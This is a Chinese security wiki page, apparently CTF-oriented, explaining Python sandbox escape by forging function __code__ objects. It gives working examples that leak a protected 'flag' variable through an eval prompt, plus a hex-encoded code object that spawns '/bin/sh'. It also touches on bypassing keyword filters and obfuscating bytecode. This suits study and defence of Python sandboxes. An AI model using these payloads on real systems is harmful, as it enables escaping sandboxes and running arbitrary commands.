👻
security
  • 计算机技术
  • OWASP TOP 10
  • 名词解释
  • 1
    • 杂记
      • GitHub Monitor
      • Notion
    • 常见端口利用
    • F5 big-ip从环境搭建到漏洞复现
    • 红队资源
  • About
    • APT
      • 海莲花(APT-C-00)
        • 样本分析
      • 毒云藤(APT-C-01)
        • 大规模钓鱼攻击活动披露
        • 2020上半年针对我重要机构定向攻击活动揭秘
      • 响尾蛇(T-APT-04)
        • 利用WebSocket隧道的新型攻击活动披露
      • 蔓灵花(APT-C-08)
        • 移动平台攻击活动揭露
      • 蓝宝菇(APT-C-12)
        • 组织使用云存储技术发起的最新攻击活动披露
      • 双尾蝎组织(APT-C-23)
        • 针对中东地区的最新攻击活动
      • Lazarus(APT-C-26)
        • 暴风行动 -利用MATA框架针对数字货币行业的攻击活动揭秘
      • Fancy Bear(APT-C-28)
        • 携小众压缩包诱饵对北约、中亚目标的定向攻击分析
      • 肚脑虫组织(APT-C-35)
        • 使用升级版数字武器针对周边地区的攻击活动
        • 针对巴基斯坦的攻击活动
      • 拍拍熊(APT-C-37)
      • 军刀狮(APT-C-38)
      • 蓝色魔眼(APT-C-41)
        • 组织首次针对我国重要机构定向攻击活动披露
      • 美人鱼(Infy)
        • 使用最新的Foudre后门进行攻击活动的分析
    • 各类靶场讲解
      • sqli-labs
      • upload-labs
      • xss-labs
    • CISP题库
    • Docker
      • Docker基线
        • docker基线-概述
        • 推荐一
        • 推荐二
        • 推荐三
        • 推荐四
        • 推荐五
        • 推荐六
      • 命令与选项
      • 基于Docker的固件模拟
      • 固件相关
      • Docker 私有仓库搭建
      • 基础命令的背后
      • 渗透思路调研
      • Docker容器环境检测方法【代码】
    • 浏览器
    • markdown
    • 密码学
    • 内网渗透TIPS
    • 网络扫描
    • 正则表达式
  • 操作系统
    • Android
      • APK终端安全分析法
      • 应用审计指南
        • 通用审计方法
    • IOS
      • 应用审计指南
    • Linux
      • 反弹shell
      • 基线检查
      • SHELL编程
      • 实战技能
    • windows
      • BACKDOOR with 权限维持
      • 磁盘取证实验
      • 基线检查
      • 免杀抓取明文
      • payload下载方式
      • powershell
      • 日志分析
        • 分析工具
      • Untitled
  • 数据库
    • db2
    • mysql
      • webshell写入
      • 基础知识
      • 核心技术
      • 高级应用
    • oracle
      • webshell写入
    • SQLserver
      • webshell写入
  • 中间件
    • apache
      • 基线检查
      • 日志审计
    • iis
      • 基线检查
      • 7.5解析绕过漏洞
    • nginx
      • 基线检查
    • tomcat
      • 基线检查
  • 编程语言
    • C
    • Java
      • webshell
        • 查杀Java web filter型内存马
        • Filter/Servlet型内存马的扫描抓捕与查杀
        • 基于内存 Webshell 的无文件攻击技术研究
        • 基于tomcat的内存 Webshell 无文件攻击技术
        • Tomcat 内存马检测
      • 代码审计
      • 代码审计指南
      • 浅析Java命令执行
      • 相关框架简介及漏洞
    • PHP
      • 代码审计
      • 破解DVWA-admin密码
      • webshell
        • 常见php一句话webshell解析
        • PHP Webshell Hidden Learning
        • Webshell免杀研究
        • Webshell那些事-攻击篇
        • 过D盾webshell分享
      • 相关框架简介及漏洞
    • python
      • 安全编码规范-代码审计
      • 编码规范
      • fishc
      • 某教程涉及脚本
      • POC编写相关
      • python秘籍
        • 上半部分
        • 下半部分
      • 安全方面的内容
        • Python Opcode逃逸笔记
        • 虚拟机逃逸
      • with-EXCEL
      • 相关框架简介及漏洞
      • 源码剖析
        • 多线程和GIL锁
        • Set容器
        • 统一内存管理
        • 信号处理机制
        • 循环垃圾回收器
        • 字符串对象PyStringObject
        • 整数对象PyIntObject
        • 字节码和虚拟机
    • 汇编
    • Javascript
      • Tampermonkey Script
  • AIGC
    • howtouse
  • 网络
    • CCNA
  • 漏洞类型及讲解
    • 综合
    • 技术分享
      • 暴力破解与信息泄露
      • 信息泄露漏洞_java
      • sqli-with-java
      • python远程命令执行与SSRF
    • SQL-Injectoin
    • Cross-Site Scripting
      • 跨站的艺术-XSS入门与介绍
      • 跨站的艺术-XSS Fuzzing 的技巧
      • 给开发者的终极XSS防护备忘录
      • AngularJS特性的 XSS
    • 文件操作
      • 文件包含
  • how-to-use
    • Acunetix(AWVS)
      • 安装到使用
      • 编写AWVS脚本探测web services
      • 简单分析-web方面
      • 流量分析特征
    • burpsuite
      • 导出报告方式
      • captcha-killer
      • FAKE-IP
      • JSFind
      • 编写插件绕过WAF
    • Cobalt Strike
      • Cobalt Strike Powershell过360+Defender上线
    • FOFA
    • GDB
    • PowerSh
      • 获得Powershell命令的历史记录
      • 深入分析PowerShell的两面性
      • 内网渗透利器之PowerSploit
      • PoC:滥用PowerShell Core
      • 如何绕过PowerShell访问限制并实现PowerShell代码执行
      • 工具包
      • 无powershell运行powershell方法总结
    • sheji
    • sqlmap
      • Atlas修改SQLMap tampers 绕过WAF/IDS/IPS
      • 内核分析
      • 检测剖析
      • tamper
      • UDF
      • --os-shell
      • sqlmapapi
      • with burp
      • 网络特征
    • Matlab
    • Metasploit
      • 与Powershell
    • NESSUS
      • 流量分析特征
      • Untitled
    • Network MapTools
      • 流量特征修改
      • 识别主机指纹
    • waf
      • ngx-lua-waf
      • modsecurity
由 GitBook 提供支持
在本页
  • PyFrameObject
  • PyCodeObject
  • Opcode操作码
  • Python debug环境

这有帮助吗?

  1. 编程语言
  2. python
  3. 安全方面的内容

Python Opcode逃逸笔记

不同版本python的PyCodeObject参数数量有一定差异,但大同小异,本文在Python3.8环境下进行探索

PyFrameObject

在Python里,一切皆对象,函数也不例外

Python虚拟机的执行环境基于PyFrameObject栈帧,一个线程有一个栈帧链,在栈帧环境中根据执行PyCodeObject对象,从中取出对应的字节码序列在执行机中执行。

栈帧构造如下

struct _frame {
    PyObject_VAR_HEAD
    struct _frame *f_back;      /* previous frame, or NULL */
    PyCodeObject *f_code;       /* code segment */
    PyObject *f_builtins;       /* builtin symbol table (PyDictObject) */
    PyObject *f_globals;        /* global symbol table (PyDictObject) */
    PyObject *f_locals;         /* local symbol table (any mapping) */
    PyObject **f_valuestack;    /* points after the last local */
    /* Next free slot in f_valuestack.  Frame creation sets to f_valuestack.
       Frame evaluation usually NULLs it, but a frame that yields sets it
       to the current stack top. */
    PyObject **f_stacktop;
    PyObject *f_trace;          /* Trace function */
    char f_trace_lines;         /* Emit per-line trace events? */
    char f_trace_opcodes;       /* Emit per-opcode trace events? */

    /* Borrowed reference to a generator, or NULL */
    PyObject *f_gen;

    int f_lasti;                /* Last instruction if called */
    /* Call PyFrame_GetLineNumber() instead of reading this field
       directly.  As of 2.3 f_lineno is only valid when tracing is
       active (i.e. when f_trace is set).  At other times we use
       PyCode_Addr2Line to calculate the line from the current
       bytecode index. */
    int f_lineno;               /* Current line number */
    int f_iblock;               /* index in f_blockstack */
    char f_executing;           /* whether the frame is still executing */
    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */
    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */
};

PyCodeObject

先来看看python中CODE对象的构造

(不同版本python有一定区别,新版本加入了几个新的强制参数)

print(dir((lambda: 0).__code__))
'''
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
'''

统计必要参数数量,这个地方不同版本的python会有所差异。

li = [i for i in dir((lambda: 0).__code__) if not i.startswith('__')]
len(li)
#17

其中有关PyCode对象的新建

PyCodeObject *
PyCode_New(int argcount, int kwonlyargcount,
           int nlocals, int stacksize, int flags,
           PyObject *code, PyObject *consts, PyObject *names,
           PyObject *varnames, PyObject *freevars, PyObject *cellvars,
           PyObject *filename, PyObject *name, int firstlineno,
           PyObject *lnotab)
{
    return PyCode_NewWithPosOnlyArgs(argcount, 0, kwonlyargcount, nlocals,
                                     stacksize, flags, code, consts, names,
                                     varnames, freevars, cellvars, filename,
                                     name, firstlineno, lnotab);
}
......
PyDoc_STRVAR(code_doc,
"code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n\
      flags, codestring, constants, names, varnames, filename, name,\n\
      firstlineno, lnotab[, freevars[, cellvars]])\n\
\n\
Create a code object.  Not for the faint of heart.");

据此构造在python中利用类型方法构造出一个对应的__code__对象改写原函数对象的逻辑

def a():
    if 1 == 2:
        print("flag{233}")

print("Opcode of a():",a.__code__.co_code.hex())
print("CONST of a():",a.__code__.co_consts)
#打印所有参数即对应值
print("ALL of a():")
for name in dir(a.__code__):
    print(name,getattr(a.__code__,name))
#构造newcode
def b():
    if 1 != 2:
        print("flag{233}")
print("Opcode of b():",b.__code__.co_code.hex())
code=b.__code__.co_code
newcode = type(a.__code__)
code =newcode(0,0,0,0,2,67, code,(None, 1, 2, 'flag{0w0}'),('print',),(), "", "a",1, b'\x00\x01\x08\x01')
a.__code__ = code
a()

看文档不如看源码

//https://github.com/python/cpython/blob/master/Include/cpython/code.h
/* Bytecode object */
struct PyCodeObject {
    PyObject_HEAD
    int co_argcount;            /* #arguments, except *args */
    int co_posonlyargcount;     /* #positional only arguments */
    int co_kwonlyargcount;      /* #keyword only arguments */
    int co_nlocals;             /* #local variables */
    int co_stacksize;           /* #entries needed for evaluation stack */
    int co_flags;               /* CO_..., see below */
    int co_firstlineno;         /* first source line number */
    PyObject *co_code;          /* instruction opcodes */
    PyObject *co_consts;        /* list (constants used) */
    PyObject *co_names;         /* list of strings (names used) */
    PyObject *co_varnames;      /* tuple of strings (local variable names) */
    PyObject *co_freevars;      /* tuple of strings (free variable names) */
    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */
    /* The rest aren't used in either hash or comparisons, except for co_name,
       used in both. This is done to preserve the name and line number
       for tracebacks and debuggers; otherwise, constant de-duplication
       would collapse identical functions/lambdas defined on different lines.
    */
    Py_ssize_t *co_cell2arg;    /* Maps cell vars which are arguments. */
    PyObject *co_filename;      /* unicode (where it was loaded from) */
    PyObject *co_name;          /* unicode (name, for reference) */
    PyObject *co_lnotab;        /* string (encoding addr<->lineno mapping) See
                                   Objects/lnotab_notes.txt for details. */
    void *co_zombieframe;       /* for optimization only (see frameobject.c) */
    PyObject *co_weakreflist;   /* to support weakrefs to code objects */
    /* Scratch space for extra data relating to the code object.
       Type is a void* to keep the format private in codeobject.c to force
       people to go through the proper APIs. */
    void *co_extra;

    /* Per opcodes just-in-time cache
     *
     * To reduce cache size, we use indirect mapping from opcode index to
     * cache object:
     *   cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1]
     */

    // co_opcache_map is indexed by (next_instr - first_instr).
    //  * 0 means there is no cache for this opcode.
    //  * n > 0 means there is cache in co_opcache[n-1].
    unsigned char *co_opcache_map;
    _PyOpcache *co_opcache;
    int co_opcache_flag;  // used to determine when create a cache.
    unsigned char co_opcache_size;  // length of co_opcache.
};

整理出表格

属性

描述

co_argcount

位置参数总数(包括仅位置参数和具有默认值的参数)

co_posonlyargcount

仅位置参数(包括具有默认值的参数)的数量

co_kwonlyargcount

仅关键字参数(包括具有默认值的参数)的数量

co_nlocals

函数使用的局部变量的数量(包括参数)

co_stacksize

所需的堆栈大小

co_flags

co_code

co_consts

常量列表

co_names

字符串列表

co_varnames

包含局部变量名称的元组(以参数名称开头)

co_filename

代码文件名称

co_name

函数名称

co_firstlineno

函数的第一行号

co_lnotab

编码从字节码偏移量到行号的映射

co_freevars*

包含自由变量名称的元组

co_cellvars*

包含嵌套函数引用的局部变量的名称

保证参数对接能够一致不出错的前提下,可以自由修改这些参数

接下来演示另一个具有freevars的样例

def target(flag):
    def printflag():
        if flag == "":
            print (flag)
    return printflag
flag = target("flag{2333}")
eval(input(">"))
flag()

构造__code__对象

def a(flag):
    def printflag():
        if flag != "":
            print (flag)
    return printflag
target=a("xxx")
code="flag.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
     target.__code__.co_argcount,\
     target.__code__.co_posonlyargcount,\
     target.__code__.co_kwonlyargcount,\
     target.__code__.co_nlocals,\
     target.__code__.co_stacksize,\
     target.__code__.co_flags,\
     target.__code__.co_code.hex(),\
     target.__code__.co_consts,\
     target.__code__.co_names, \
     target.__code__.co_varnames,\
     target.__code__.co_filename,\
     target.__code__.co_name,\
     target.__code__.co_firstlineno,\
     target.__code__.co_lnotab.hex(),\
     target.__code__.co_freevars,\
     target.__code__.co_cellvars)
print(code)
'''
result:
flag.__code__ =type(target.__code__)(0,0,0,0,2,19,bytes.fromhex('880064016b037210740088008301010064005300'),(None,'', ''),('print',),(),'newcode.py','printflag',2,bytes.fromhex('00010801'),('flag',),())
'''
py example2.py
>flag.__code__=type(target.__code__)(0,0,0,0,2,19,bytes.fromhex('880064016b037210740088008301010064005300'),(None, ''),('print',),(),'newcode.py','printflag',2,bytes.fromhex('00010801'),('flag',),())
flag{2333}

可以看到这里通过覆盖修改原函数的__code__对象使其成功输出了原函数域内的变量flag,此外,这里由于只接受一次输入,把这个过程压缩在一行里,也可以用一个while循环达成无限次数的输入,但有些时候也可能并没有这样一个继续交互的机会

while True:    exec(input())
'''
    >....
    >break
'''

实际上利用__code__对象完全可以执行任意操作码(opcode) ,比如我们构造一个通过os模块getshell的对象

def target():
    import os
    os.system("/bin/sh")
...
#稍微整理得到
flag.__code__ =type(target.__code__)(0,0,0,1,3,67,bytes.fromhex('640164006c007d007c00a0016402a101010064005300'),(None, 0, '/bin/sh'),('os', 'system'),('os',),'newcode.py','target',8,bytes.fromhex('00010801'),('flag',),())

输入上面的样例就会运行shell,当然,os和system肯定是被过滤的关键词,但这里字符串形式的关键词想必大家也有各种编码和拼接的办法来绕过过滤的

当然,这样还是依赖os模块

不过由上面的例子我们可以理解,通过构造__code__,我们完全可以按自己的想法执行任意的opcode而没什么约束,从而通过opcode达成外部任意读写从而为所欲为

Opcode操作码

python的文本源码经过ast分析与有限的优化后转化成最终的字节码,pyc文件

字节流形式的执行码称之为字节码,而每个字节码有个对应的可理解的符号形式,称其为opcode操作码,通过opcode库我们可以从opcode得到bytecode,而通过dis库,可以将byetecode转化成opcode的可阅读形式

二者关系有如汇编与二进制

>>> from opcode import opmap
>>> import dis
>>> chr(opmap['LOAD_CONST'])
'd'
>>> dis.dis('d')
  1           0 LOAD_NAME                0 (d)
              2 RETURN_VALUE
>>> dis.dis(bytes.fromhex('880064016b037210740088008301010064005300'))
          0 LOAD_DEREF               0 (0)
        #将 func.__closure__[i] (闭包变量) 取出并压入栈
          2 LOAD_CONST               1 (1)
        #将 co_consts[i] 压入栈
          4 COMPARE_OP               3 (!=)
        #根据opname进行布尔运算
          6 POP_JUMP_IF_FALSE       16
        #为假则跳转到第16行
          8 LOAD_GLOBAL              0 (0)
        #将 co_names[namei] 压入栈 
         10 LOAD_DEREF               0 (0)
         12 CALL_FUNCTION            1
        #函数调用,弹出所需参数,返回值压栈
         14 POP_TOP
        #弹出(丢弃)栈顶元素
         16 LOAD_CONST               0 (0)
         18 RETURN_VALUE
        #退出栈帧

读写指令

指令名

操作

LOAD_GLOBAL

从co_names[namei]入栈

STORE_GLOBAL

出栈到co_names[namei]

LOAD_FAST

从co_varnames[var_num]入栈

STORE_FAST

出栈到co_varnames[var_num]

LOAD_CONST

从co_consts[consti]入栈

控制指令

指令名

操作

CALL_FUNCTION

函数调用,弹出所需参数,新栈帧,返回值压栈

RETURN_VALUE

函数返回,退出栈帧

POP_JUMP_IF_FALSE

当条件为假的时候跳转

JUMP_FORWARD

直接跳转

布尔运算

COMPARE_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')
switch (opcode) {

        /* BEWARE!
           It is essential that any operation that fails must goto error
           and that all operation that succeed call [FAST_]DISPATCH() ! */

        case TARGET(NOP): {
            FAST_DISPATCH();
        }

        case TARGET(LOAD_FAST): {
            PyObject *value = GETLOCAL(oparg);
            if (value == NULL) {
                format_exc_check_arg(tstate, PyExc_UnboundLocalError,
                                     UNBOUNDLOCAL_ERROR_MSG,
                                     PyTuple_GetItem(co->co_varnames, oparg));
                goto error;
            }
            Py_INCREF(value);
            PUSH(value);
            FAST_DISPATCH();
        }
        ...
}

根据上述内容,我们甚至可以拓展opcode,加入一些我们自定义的花指令提高python逆向的难度,不过这不是本文讨论的重点。

Python debug环境

编译debug版本python

$ git clone https://github.com/python/cpython
$ cd cpython
$ sudo apt install build-essential
$ sudo apt install libssl-dev zlib1g-dev libncurses5-dev \
  libncursesw5-dev libreadline-dev libsqlite3-dev libgdbm-dev \
  libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev libffi-dev
$ ./configure --with-pydebug
$ make -j2 -s

debug版本代码编译前可能需要根据具体情况做些调整

gdb调试python

python-dbg中包含了调试符号并把libpython.py工具安装到gdb的auto-load下

sudo apt-get install gdb python-dbg

不同版本的libpython.py存放在https://github.com/python/cpython/tree/<version>/Tools/gdb,可以手动安装对应版本的libpython.py

安装后即可通过交互式方式从gdb启动python进程

$ gdb python
...
(gdb) run <programname>.py <arguments>

或通过快速方式

$ gdb -ex r --args python <programname>.py <arguments>

或是attach到现有进程

$ gdb python <pid of running process>

加载core file

$ gdb python core.PID

常用指令

py-bt #当前位置的调用栈
py-down #查看下层调用方的信息
py-locals #查看变量的值
py-up #查看上层调用方的信息
python-interactive
py-bt-full
py-list #当前执行位置的源码
py-print
python

准备好前置知识与调试环境,就可以在python虚拟机里愉快玩耍啦。

上一页安全方面的内容下一页虚拟机逃逸

最后更新于4年前

这有帮助吗?

去看下CPython中相关的

整理一下这些参数的作用

存放着函数的组合布尔标志位()

二进制格式的字节码()

由于opcode有一百多个,直接贴 ,一些常用的操作有

不同的操作码对应了不同的操作,在中的switch里定义了对应的一系列虚拟机操作,构成了Python虚拟机的执行核心。

而具体的opcode在 进行了定义,可以在其中看到所有的opcode,修改调换其中字节码的值再编译即可达成混淆字节码的目的,当然,直接编译是不行的,因为opcode还在与 进行了定义,需要保证三者opcode定义上的一致性。

实现
文档
文档
Python/ceval.c
opcode.h
opcode_targets.h
opcode.py
Code Objects Bit Flags
Bytecode Instructions